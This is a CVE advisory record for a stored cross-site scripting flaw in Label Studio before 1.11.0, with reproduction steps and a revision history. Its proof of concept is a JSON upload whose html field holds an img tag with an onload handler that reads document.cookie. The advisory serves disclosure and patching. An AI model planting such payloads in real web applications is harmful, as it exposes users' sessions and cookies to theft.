### Summary
On all Label Studio versions prior to 1.11.0, data imported via file upload feature is not properly sanitized prior to being rendered within a [`Choices`](https://labelstud.io/tags/choices) or [`Labels`](https://labelstud.io/tags/labels) tag, resulting in an XSS vulnerability.
### Details
Need permission to use the "data import" function. This was reproduced on Label Studio 1.10.1.
### PoC
1. Create a project.

2. Upload a file containing the payload using the "Upload Files" function.


The following are the contents of the files used in the PoC
```
{
"data": {
"prompt": "labelstudio universe image",
"images": [
{
"value": "id123#0",
"style": "margin: 5px",
"html": "<img width='400' src='https://labelstud.io/_astro/images-tab.64279c16_ZaBSvC.avif' onload=alert(document.cookie)>"
}
]
}
}
```
3. Select the text-to-image generation labeling template of Ranking and scoring


4. Select a task

5. Check that the script is running

### Impact
Malicious scripts can be injected into the code, and when linked with vulnerabilities such as CSRF, it can cause even greater damage. In particular, It can become a source of further attacks, especially when linked to social engineering.
References
Configurations
History
16 May 2025, 14:18
Type | Values Removed | Values Added |
---|---|---|
References | () https://github.com/HumanSignal/label-studio/commit/5df9ae3828b98652e9fa290a19f4deedf51ef6c8 - Patch | |
References | () https://github.com/HumanSignal/label-studio/pull/5232 - Patch | |
References | () https://github.com/HumanSignal/label-studio/releases/tag/1.11.0 - Release Notes | |
References | () https://github.com/HumanSignal/label-studio/security/advisories/GHSA-6xv9-957j-qfhg - Exploit, Vendor Advisory | |
First Time |
Humansignal label Studio
Humansignal |
|
CPE | cpe:2.3:a:humansignal:label_studio:*:*:*:*:*:*:*:* |
21 Nov 2024, 09:02
Type | Values Removed | Values Added |
---|---|---|
Summary |
|
|
References | () https://github.com/HumanSignal/label-studio/commit/5df9ae3828b98652e9fa290a19f4deedf51ef6c8 - | |
References | () https://github.com/HumanSignal/label-studio/pull/5232 - | |
References | () https://github.com/HumanSignal/label-studio/releases/tag/1.11.0 - | |
References | () https://github.com/HumanSignal/label-studio/security/advisories/GHSA-6xv9-957j-qfhg - |
22 Feb 2024, 22:15
Type | Values Removed | Values Added |
---|---|---|
New CVE |
Information
Published : 2024-02-22 22:15
Updated : 2025-05-16 14:18
NVD link : CVE-2024-26152
Mitre link : CVE-2024-26152
CVE.ORG link : CVE-2024-26152
JSON object : View
Products Affected
humansignal
- label_studio
CWE
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')